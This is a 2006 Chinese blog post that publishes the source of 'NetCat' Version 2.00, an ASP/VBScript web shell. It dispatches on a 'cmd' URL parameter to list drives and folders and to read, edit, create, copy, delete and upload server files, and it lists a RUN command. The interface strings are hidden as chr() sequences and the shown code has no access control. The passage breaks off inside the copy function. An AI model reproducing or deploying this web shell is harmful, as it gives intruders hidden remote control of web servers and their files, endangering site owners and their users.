NetCat 网络飞猫 Version2.00

2006年9月22日 Chinadu 没有评论 11 views

以下是源代码:

<%@ LANGUAGE = VBScript %>
<%
Dim cmd
cmd=trim(request("cmd"))
select case ucase(cmd)
       case "DIR"
            call fDIR()
            AspEnd
       case "TYPE"
            call fTYPE()
            AspEnd
       case "EDIT"
            call fEDIT()
            AspEnd
       case "COPY"
            call fCOPY()
            AspEnd
       case "MOVE"
            call fMOVE()
            AspEnd
       case "DEL"
            call fDEL()
            AspEnd
       case "DELTREE"
            call fDELTREE()
            AspEnd
       case "RUN"
            call fRUN()
            AspEnd
       case "FINDFILE"
            call fFINDFILE()
            AspEnd
       case "UPFILE"
            call fUPFILE()
            AspEnd
       case "REN"
            call fREN()
            AspEnd
       case "DIRMAKE"
            call fDIRMAKE()
            AspEnd
       case "DIRCOPY"
            call fDIRCOPY()
            AspEnd
       case "DIRMOVE"
            call fDIRMOVE()
            AspEnd
       case "DIRDEL"
            call fDIRDEL()
            AspEnd
       case "VER"
            call fVER()
            AspEnd
       case "HELP"
            call fHELP()
            AspEnd
       case "?"
            call fHELP()
            AspEnd
End select

'------------------------------------------------------------------
''=====================================================
Function fHELP()
Dim HelpStr(16,1)
Dim helpi

HelpStr(0,0)="<a href=" & SelfName() & "?cmd=help>HELP|?</a>"
HelpStr(0,1)="NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" "+chr(-15364)+chr(-15890)+chr(-15920)+chr(-19987)

HelpStr(1,0)="<a href=" & SelfName() & "?cmd=dir&par=/?>DIR</a>"
HelpStr(1,1)=chr(-15920)+chr(-19466)+chr(-19023)+chr(-14416)+chr(-17422)+chr(-10568)+chr(-18776)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-15169)+chr(-15684)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17715)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15920)+chr(-19987)

HelpStr(2,0)="<a href=" & SelfName() & "?cmd=type&par=/?>TYPE</a>"
HelpStr(2,1)=chr(-11564)+"ASCII"+chr(-12082)+chr(-13635)+chr(-12332)+chr(-13634)+chr(-10568)+chr(-18776)+chr(-12604)+chr(-17154)+chr(-15142)+chr(-14115)

HelpStr(3,0)="<a href=" & SelfName() & "?cmd=edit&par=/?>EDIT</a>"
HelpStr(3,1)="ASCII"+chr(-16160)+chr(-12083)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-20000)+chr(-17235)+chr(-14601)

HelpStr(4,0)="<a href=" & SelfName() & "?cmd=copy>COPY</a>"
HelpStr(4,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-18252)+chr(-10554)

HelpStr(5,0)="<a href=" & SelfName() & "?cmd=move>MOVE</a>"
HelpStr(5,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-11578)+chr(-18769)

HelpStr(6,0)="<a href=" & SelfName() & "?cmd=del&par=/?>DEL</a>"
HelpStr(6,1)=chr(-13890)+chr(-19459)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)

HelpStr(7,0)="<a href=" & SelfName() & "?cmd=deltree&par=/?>DELTREE</a>"
HelpStr(7,1)=chr(-14363)+chr(-16427)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-10568)+chr(-18776)+chr(-15169)+chr(-15684)+chr(-12350)+chr(-19004)+chr(-13319)+chr(-11312)+chr(-12604)+chr(-17154)

HelpStr(8,0)="<a href=" & SelfName() & "?cmd=run&par=/?>RUN</a>"
HelpStr(8,1)=chr(-19276)+chr(-16984)+chr(-11589)+chr(-18186)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16904)+chr(-19508)

HelpStr(9,0)="<a href=" & SelfName() & "?cmd=findfile>FINDFILE</a>"
HelpStr(9,1)=chr(-19735)+chr(-10798)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)

HelpStr(10,0)="<a href=" & SelfName() & "?cmd=upfile&par=/?>UPFILE</a>"
HelpStr(10,1)=chr(-13873)+chr(-19285)+chr(-20034)+chr(-18984)+chr(-12604)+chr(-17154)+chr(-19011)+chr(-15169)+chr(-19990)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12613)+chr(-10557)+chr(-13873)

HelpStr(11,0)="<a href=" & SelfName() & "?cmd=ren>REN</a>"
HelpStr(11,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-10536)+chr(-15364)+chr(-15365)

HelpStr(12,0)="<a href=" & SelfName() & "?cmd=dirmake&par=/?>DIRMAKE</a>"
HelpStr(12,1)=chr(-18434)+chr(-12559
)+chr(-14601)+chr(-18741)+chr(-12094)+chr(-16984)+chr(-15169)+chr(-15684)

HelpStr(13,0)="<a href=" & SelfName() & "?cmd=dircopy>DIRCOPY</a>"
HelpStr(13,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-18252)+chr(-10554)

HelpStr(14,0)="<a href=" & SelfName() & "?cmd=dirmove>DIRMOVE</a>"
HelpStr(14,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-11578)+chr(-18769)

HelpStr(15,0)="<a href=" & SelfName() & "?cmd=dirdel&par=/?>DIRDEL</a>"
HelpStr(15,1)=chr(-13890)+chr(-19459)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)

HelpStr(16,0)="<a href=" & SelfName() & "?cmd=ver>VER</a>"
HelpStr(16,1)="NetCat("+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+")"+chr(-20250)+chr(-20034)+chr(-12091)+chr(-12382)+chr(-11564)+chr(-17232)+chr(-13827)+chr(-17226)+chr(-14123)+chr(-10562)

pcmdhostinfo
response.write "HELP|?"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+"NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" "+chr(-15364)+chr(-15890)+chr(-15920)+chr(-19987)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=["+chr(-15364)+chr(-15890)+"][&par=["+chr(-19762)+chr(-13571)+"]]<br><br>["+chr(-15364)+chr(-15890)+"]<br><br>"
response.write "<table border=0 width=700 cellspacing=5 cellpadding=0>"
for helpi=0 to ubound(HelpStr)
   response.write "<tr><td width=120 id=site>" & HelpStr(helpi,0) & "</td><td width=580>" & HelpStr(helpi,1) & "</td></tr>"
next
response.write "</table>"
End Function 
''=====================================================
Function fTYPE()
dim typepar
dim typefso
dim typefile
dim typefile1
dim scontenttmp
typepar=trim(request("par"))
pcmdhostinfo

if typepar="?" or typepar="/?" or typepar="-?" or typepar="" then
response.write "TYPE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-11564)+"ASCII"+chr(-12082)+chr(-13635)+chr(-12332)+chr(-13634)+chr(-10568)+chr(-18776)+chr(-12604)+chr(-17154)+chr(-15142)+chr(-14115)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=type&par=<"+chr(-19762)+chr(-13571)+"><br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if


typepar=vir2abs(typepar)
set typefso=server.createobject("Scripting.FileSystemObject")
if typefso.FileExists(typepar) then
   set typefile=typefso.opentextfile(typepar,1)
   set typefile1=typefso.getfile(typepar)
   if typefile1.size>0 then
       scontenttmp=typefile.readall
       scontenttmp=replace(scontenttmp,"<textarea>","[textarea]")
       scontenttmp=replace(scontenttmp,"</textarea>","[/textarea]")
       scontenttmp=replace(scontenttmp,"<TEXTAREA>","[TEXTAREA]")
       scontenttmp=replace(scontenttmp,"</TEXTAREA>","[/TEXTAREA]")
       response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & typefile1.size & "<br>"+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & typepar & "<br><textarea rows=29 cols=127>" & scontenttmp & "</textarea>"
     else
       response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & typefile1.size & "<br>"+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & typepar & "<br><textarea rows=29 cols=127></textarea>"
   end if
   set typefile=nothing
   set typefile1=nothing
  else
   response.write chr(-12604)+chr(-17154)+chr(-18493)+chr(-12598)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10798)+chr(-19781)+chr(-19011)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12604)+chr(-17154)
end if
set typefso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
''===============================================================================================================
Function fDIR()
Dim dirpar
dim dirfso
dim dirfolder
dim dirfolders
dim dirfile
dim dirfiles
dim dirdriver
dim dirdrivers
dim itemtmp
dim strlink
dim strshow
dirpar=trim(request("par"))
pcmdhostinfo

set dirfso=server.createobject("Scripting.FileSystemObject")

if dirpar="?" or ucase(dirpar)="/?" or ucase(dirpar)="-?" then
response.write "DIR"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-15920)+chr(-19466)+chr(-19023)+chr(-14416)+chr(-17422)+chr(-10568)+chr(-18776)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-15169)+chr(-15684)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17715)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15920)+chr(-19987)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dir[&par=["+chr(-19762)+chr(-13571)+"]<br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)+chr(-19514)+chr(-17422)+chr(-12604)+chr(-17154)+chr(-15365)+"<br><br>"
response.write "      "+chr(-14620)+chr(-10544)+chr(-11100)+chr(-18776)+chr(-11547)+chr(-19762)+chr(-13571)+chr(-12630)+chr(-23622)+"<br><br>      #       "+chr(-23622)+"  |acrs|<br><br>"
response.write "      "+chr(-12590)+chr(-19004)+chr(-18969)+chr(-15148)+chr(-23622)+"  |mycomputer|<br><br>"
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

if dirpar="" then
   dirpar=AppPath()
end if

if dirpar="|mycomputer|" or dirpar="|alldrivers|" or dirpar="|alldriver|" or dirpar="|alldrv|" or dirpar="|top|" or dirpar="|list|" then
   set dirdrivers=dirfso.Drives
   response.wri
te chr(-19023)+chr(-14416)+chr(-15169)+chr(-15684)+chr(-23622)+"<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=|mycomputer|>"+chr(-12590)+chr(-19004)+chr(-18969)+chr(-15148)+"</a><br><br>"
   for each dirdriver in dirdrivers
       if dirdriver.DriveType=1 then
          if dirdriver.IsReady=TRUE then
             response.write "<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & dirdriver & ">3.5 "+chr(-14099)+chr(-14900)+"(" & dirdriver & ")</a>  ["+chr(-16439)+chr(-11325)+"]  ["+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(dirdriver.TotalSize) & "]<br>"
            else
             response.write "3.5 "+chr(-14099)+chr(-14900)+"(" & dirdriver & ")  ["+chr(-19781)+chr(-16439)+chr(-11325)+"]<br>"
          end if
       end if
       if dirdriver.DriveType=2 then
          strshow=dirdriver.VolumeName
          if trim(strshow)="" then
             strshow=chr(-20034)+chr(-18984)+chr(-19259)+chr(-14900)
          end if
          response.write "<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & dirdriver & ">" & strshow & "(" & dirdriver & ")</a>  [" & dirdriver.FileSystem & "]  ["+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(dirdriver.TotalSize) & "]  ["+chr(-11567)+chr(-11325)+chr(-16427)+chr(-17180)+chr(-23622) & FormatNumber(dirdriver.TotalSize-dirdriver.AvailableSpace) & "]  ["+chr(-16439)+chr(-11325)+chr(-16427)+chr(-17180)+chr(-23622) & FormatNumber(dirdriver.AvailableSpace) & "]<br>"
       end if
       if dirdriver.DriveType=3 then
          response.write "<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & dirdriver & ">" & dirdriver & "("+chr(-11082)+chr(-19508)+chr(-19259)+chr(-14900)+")</a><br>"
       end if
       if dirdriver.DriveType=4 then
          if dirdriver.IsReady=TRUE then
              response.write "<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & dirdriver & ">"+chr(-17950)+chr(-14900)+"(" & dirdriver & ")</a>  ["+chr(-16439)+chr(-11325)+"]  ["+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(dirdriver.TotalSize) & "]<br>"
             else
              response.write chr(-17950)+chr(-14900)+"(" & dirdriver & ")  ["+chr(-19781)+chr(-16439)+chr(-11325)+"]<br>"
          end if
       end if       
   next
   exit function
end if

dirpar=vir2abs(dirpar)

if dirfso.FolderExists(dirpar) then
    set dirfolder=dirfso.GetFolder(dirpar)
    set dirfolders=dirfolder.subfolders
    set dirfiles=dirfolder.files
    strshow=replace(dirpar,chr(32)," ")
    response.write chr(-19023)+chr(-14416)+chr(-15169)+chr(-15684)+chr(-23622) & strshow & "<br>"
    if dirfolder.IsRootFolder=false then
       strlink=dirfolder.ParentFolder.path
       strlink=replace(strlink,chr(32),"%20")
       strlink=replace(strlink,"#","|acrs|")
       response.write "<<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & strlink & ">"+chr(-13873)+chr(-11589)+chr(-17226)+chr(-15169)+chr(-15684)+"</a>><br>"
      else
       response.write "<<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=|mycomputer|>"+chr(-13873)+chr(-11589)+chr(-17226)+chr(-15169)+chr(-15684)+"</a>><br>"
    end if
    for each itemtmp in dirfolders
        strlink=itemtmp
        strlink=replace(strlink,chr(32),"%20")
        strlink=replace(strlink,"#","|acrs|")
        strshow=replace(mid(itemtmp,instrrev(itemtmp,"\")+1),chr(32)," ")
        response.write "<<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & strlink & ">" & strshow & "</a>>"
        response.write "      "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & itemtmp.DateCreated
        response.write "      "+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & itemtmp & "<br>"
    next
    response.write "<br>"
    for each itemtmp in dirfiles
        response.write itemtmp.name
        response.write "      "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & itemtmp.DateCreated
        response.write "      "+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(itemtmp.Size) & "<br>"
    next
    set dirfolder=nothing
    set dirfolders=nothing
    set dirfiles=nothing
    set itemtmp=nothing
   else
    if instr(dirpa
r,"*")>0 or instr(dirpar,"?")>0 then
        if dirfso.FolderExists(left(dirpar,instrrev(dirpar,"\")-1)) then
           set dirfolder=dirfso.GetFolder(left(dirpar,instrrev(dirpar,"\")-1))
           set dirfolders=dirfolder.subfolders
           set dirfiles=dirfolder.files
           for each itemtmp in dirfolders
               if myLike(mid(dirpar,instrrev(dirpar,"\")+1),mid(itemtmp,instrrev(itemtmp,"\")+1))=True then
                  strlink=itemtmp
                  strlink=replace(strlink,chr(32),"%20")
                  strlink=replace(strlink,"#","|acrs|")
                  strshow=replace(mid(itemtmp,instrrev(itemtmp,"\")+1),chr(32)," ")
                  response.write "<<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & strlink & ">" & strshow & "</a>>"
                  response.write "      "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & itemtmp.DateCreated
                  response.write "      "+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & itemtmp & "<br>"
               end if
           next
           response.write "<br>"
           for each itemtmp in dirfiles
                if mylike(mid(dirpar,instrrev(dirpar,"\")+1),itemtmp.name)=True then
                   response.write itemtmp.name
                   response.write "      "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & itemtmp.DateCreated
                   response.write "      "+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(itemtmp.Size) & "<br>"
                end if
           next
           set dirfolder=nothing
           set dirfolders=nothing
           set dirfiles=nothing
           set itemtmp=nothing
       end if
     else
       if dirfso.FileExists(dirpar) then
          set dirfile=dirfso.getfile(dirpar)
          response.write chr(-19023)+chr(-14416)+chr(-15169)+chr(-15684)+chr(-23622) & dirfile.ParentFolder & "<br><br>"
          response.write dirfile.Name
          response.write "      "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & dirfile.DateCreated
          response.write "      "+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(dirfile.Size)
          set dirfile=nothing
         else
          response.write chr(-10798)+chr(-19781)+chr(-19011)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-17422)+chr(-12604)+chr(-17154)
          exit function
      end if
   end if
end if
set dirfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
''===============================================================================================================================================
Function fEDIT()
dim editpar
dim editfso
dim editfile
dim editfile1
dim savefile
dim scontenttmp
editpar=trim(request("par"))
pcmdhostinfo


if editpar="?" or editpar="/?" or editpar="-?" then
response.write "EDIT"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+"ASCII"+chr(-16160)+chr(-12083)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-20000)+chr(-17235)+chr(-14601)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=edit&par=["+chr(-19762)+chr(-13571)+"]<br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

if request.form("editmethod")="save" then
   if trim(request.form("filename"))="" then
       response.write chr(-20061)+chr(-19226)+chr(-12604)+chr(-17154)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-12620)+chr(-13596)+chr(-14101)+chr(-12056)+chr(-11606)+chr(-20061)+chr(-19226)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)
       response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
       exit function
      else
       if chkchar(long2short(request.form("filename")))=false then
           response.write chr(-20061)+chr(-19226)
+chr(-12604)+chr(-17154)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437)
           response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
           exit function
         else
           Dim editsavefso
           set editsavefso = server.createobject("Scripting.FileSystemObject")
           if editsavefso.FileExists(vir2abs(request.form("filename"))) then
               response.write "<form name=editform method=post action=" & SelfName() & "?cmd=edit>"
               response.write "<input type=hidden name=editmethod value=resave>"
               response.write "<input type=hidden name=filename value=" & vir2abs(request.form("filename")) & ">"
               response.write "<input type=hidden name=filecontent value=" & request.form("filecontent") & ">"
               response.write request.form("filename") & " "+chr(-12604)+chr(-17154)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23636)+chr(-13625)+chr(-18447)+chr(-18254)+chr(-18233)+chr(-11091)+chr(-16204)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-23617)
               response.write "<input type=submit value="+chr(-13625)+" class=catbutton><input type=button value="+chr(-18447)+" onclick=javascript:history.back() class=catbutton>"
               response.write "</form>"
             else
               dim editsavetextstream
               set editsavetextstream=editsavefso.opentextfile(vir2abs(request.form("filename")),2,true)
               scontenttmp=request.form("filecontent")
               scontenttmp=replace(scontenttmp,"[textarea]","<textarea>")
               scontenttmp=replace(scontenttmp,"[/textarea]","</textarea>")
               scontenttmp=replace(scontenttmp,"[TEXTAREA]","<TEXTAREA>")
               scontenttmp=replace(scontenttmp,"[/TEXTAREA]","</TEXTAREA>")
               editsavetextstream.write scontenttmp
               editsavetextstream.close
               set editsavetextstream=nothing
               response.write request.form("filename") & " "+chr(-12604)+chr(-17154)+chr(-20061)+chr(-19226)+chr(-19511)+chr(-18010)+chr(-23647)
           end if
           set editsavefso=nothing
           exit function
        end if
   end if
  else
   if request.form("editmethod")="resave" then
       Dim editresavefso,editresavetextstream
       set editresavefso = server.createobject("Scripting.FileSystemObject")
       set editresavetextstream=editresavefso.opentextfile(request.form("filename"),2,true)
       scontenttmp=request.form("filecontent")
       scontenttmp=replace(scontenttmp,"[textarea]","<textarea>")
       scontenttmp=replace(scontenttmp,"[/textarea]","</textarea>")
       scontenttmp=replace(scontenttmp,"[TEXTAREA]","<TEXTAREA>")
       scontenttmp=replace(scontenttmp,"[/TEXTAREA]","</TEXTAREA>")
       editresavetextstream.write scontenttmp
       editresavetextstream.close
       set editresavetextstream=nothing
       set editresavefso=nothing
       response.write request.form("filename") & " "+chr(-12604)+chr(-17154)+chr(-20061)+chr(-19226)+chr(-19511)+chr(-18010)+chr(-23647)
       exit function
   end if
end if

if editpar="" and trim(request.form("editmethod"))="" and trim(request.form("filename"))="" then
    response.write "<form name=editform method=post action=" & SelfName() & "?cmd=edit>"
    response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622)+chr(-12620)+chr(-10582)+"<br>"+chr(-10316)+chr(-13140)+chr(-23622)+chr(-12094)+chr(-16984)+chr(-12604)+chr(-17154)+"<br>"+chr(-14357)+chr(-13596)+chr(-14101)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23622)+"<input type=text name=filename><br><textarea rows=29 name=filecontent cols=127></textarea>"
    response.write "<input type=hidden name=editmethod value=save>"
    response.write "<p align=center><input type=submit value="+chr(-20061)+chr(-19226)+" class=catbutton>"
    response.write "</form>"
   else
    editpar=vir2abs(editpar)
    savefile=editpar
    set editfso=server.createobject("Scripting.FileSystemObject")
    if editfso.FileExists(editpar) then
       response.write "<form name=editform method=post action=" & SelfName() & "?cmd=edit>"
       set editfile=editfso.opentextfile(editpar,1)
       set editfile1=editfso.getfile(editpar)
 &nbs
p;     if editfile1.size>0 then
          scontenttmp=editfile.readall
          scontenttmp=replace(scontenttmp,"<textarea>","[textarea]")
          scontenttmp=replace(scontenttmp,"</textarea>","[/textarea]")
          scontenttmp=replace(scontenttmp,"<TEXTAREA>","[TEXTAREA]")
          scontenttmp=replace(scontenttmp,"</TEXTAREA>","[/TEXTAREA]")
          response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & editfile1.size & "<br>"+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & editpar & "<br><textarea rows=29 name=filecontent cols=127>" & scontenttmp & "</textarea>"
         else
          response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & editfile1.size & "<br>"+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & editpar & "<br><textarea rows=29 name=filecontent cols=127></textarea>"
       end if
       set typefile=nothing
       set typefile1=nothing
       response.write "<input type=hidden name=editmethod value=resave>"
       response.write "<input type=hidden name=filename value=" & editpar & ">"
       response.write "<p align=center><input type=button value="+chr(-12094)+chr(-16984)+" class=catbutton onclick=javascript:location=" & chr(39) & SelfName() & "?cmd=edit" & chr(39) & "><input type=submit value="+chr(-20061)+chr(-19226)+" class=catbutton>"
       response.write "</form>"
      else
       response.write chr(-12604)+chr(-17154)+chr(-18493)+chr(-12598)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10798)+chr(-19781)+chr(-19011)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12604)+chr(-17154)
    end if
    set typefso=nothing
end if

response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
''===============================================================================================================
Function fCOPY()
dim srcfile
dim tarfile
dim copyfso
srcfile=trim(request("par1"))
tarfile=trim(request("par2"))
pcmdhostinfo

if srcfile="?" or srcfile="/?" or srcfile="-?" or tarfile="?" or tarfile="/?" or tarfile="-?" or srcfile="" or tarfile="" then
response.write "COPY"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-18252)+chr(-10554)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=copy&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

set copyfso=server.createobject("Scripting.FileSystemObject")

if request("copymethod")<>"recopy" then
      srcfile=vir2abs(srcfile)
      tarfile=vir2abs(tarfile)
      if copyfso.FileExists(srcfile) then
           if copyfso.FileExists(tarfile) then
               response.write "<form name=copyform method=post action=" & SelfName() & "?cmd=copy>"
               response.write "<input type=hidden name=copymethod value=recopy>"
               response.write "<input type=hidden name=srcfilename value=" & srcfile & ">"
               response.write "<input type=hidden name=tarfilename value=" & tarfile & ">"
               response.write tarfile & "<br>    "+chr(-12604)+chr(-17154)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23636)+chr(-13625)+chr(-18447)+chr(-18254)+chr(-18233)+chr(-11091)+chr(-16204)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-23617)
               response.write "<input type=submit value="+chr(-13625)+" class=catbutton><input type=button value="+chr(-18447)+" onclick=javascript:history.back() class=catbutton>"
               response.write "</form>"
             else
               copyfso.CopyFile srcfile,tarfile
               response.write "file(s) copied"+chr(-23622)+"<br><br>    "+chr(-11084)+chr(-12604)+chr(-17154)+chr(-23622) & srcfile & "<br><br>    "+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622) & tarfile 
          end if
         else
          response.write chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
      end if
   else
      srcfile
=vir2abs(request("srcfilename"))
      tarfile=vir2abs(request("tarfilename"))
      if trim(srcfile)="" or trim(tarfile)="" then
